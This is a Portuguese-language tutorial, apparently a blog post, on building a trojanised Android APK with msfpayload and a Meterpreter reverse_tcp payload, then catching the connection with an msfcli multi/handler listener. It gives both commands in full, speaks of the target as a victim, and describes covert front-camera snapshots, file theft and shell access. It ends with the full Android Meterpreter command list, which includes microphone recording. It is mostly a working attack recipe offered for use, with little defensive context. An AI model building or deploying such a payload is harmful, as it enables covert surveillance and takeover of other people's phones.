O meterpreter em execução no smartphone é uma das coisas que tava sentindo falta e o mínimo que eu podia fazer, era demonstrar uma prova de conceito.
O aplicativo para gerar o APK vai sr feito via msfpayload, com esta ferramenta podemos gerar shellcodes, tanto para linguagens como C, Javascript, Ruby, como gerar arquivos binários, que contêm o shellcode. O caso típico é o os cavalos de Tróia, ou como gerar um EXE com Meterpreter de shell inversa. Neste caso, vamos usar o aplicativo para gerar um msfpayload APK para o Android, que terá uma atividade principal um tanto curioso, é que realmente o que você executa é o Meterpreter Java modificado para ser executado em um Android. Usaremos o Msfcli para receber a conexão reversa gerado por shellcode que se executa no terminal.
Primeiro gerar o APK com a instrução msfpayload android/meterpreter/reverse_tcp LHOST=<IP donde esperaremos> LPORT=<puerto donde se debe conectar> R > meter.apk.
Uma vez gerado o nosso bug, o que faremos é configurar para receber a conexão reversa via msfcli … esperar que o bug volte para casa. Para fazer isso, a ferramenta configurada assim:
msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST= <IP QUE RECEBERÁ AS CONEXÕES>
Uma vez que a vítima execute o APK se executará a shellcode que se encontra dentro do binario, provocando a conexão inversa. Recordamos que Meterpreter é do tipo Stager, assim será também em duas fases, primeiro de conexão e segundo de funcionalidades.
Nós já temos a sessão , o que podemos fazer com isso? Mais tarde, deixo uma lista de comandos disponíveis neste Meterpreter, principalmente as coisas que você poderia fazer com um Meterpreter Java. Bem, como lançar exemplo gráfico de uma captura de imagem através da câmera do próprio aparelho, usando o comando webcam_snap. Com webcam_list comando pode listar as câmeras de dispositivo disponíveis (frente, traseira). Um exemplo de captura de imagem da câmera na parte frontal do smartphone rodando o shellcode:

Temos também disponível comandos para download e upload de arquivos para o dispositivo, além de um shell como você pode ver na imagem:

Comandos do Meterpreter de Android:
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam


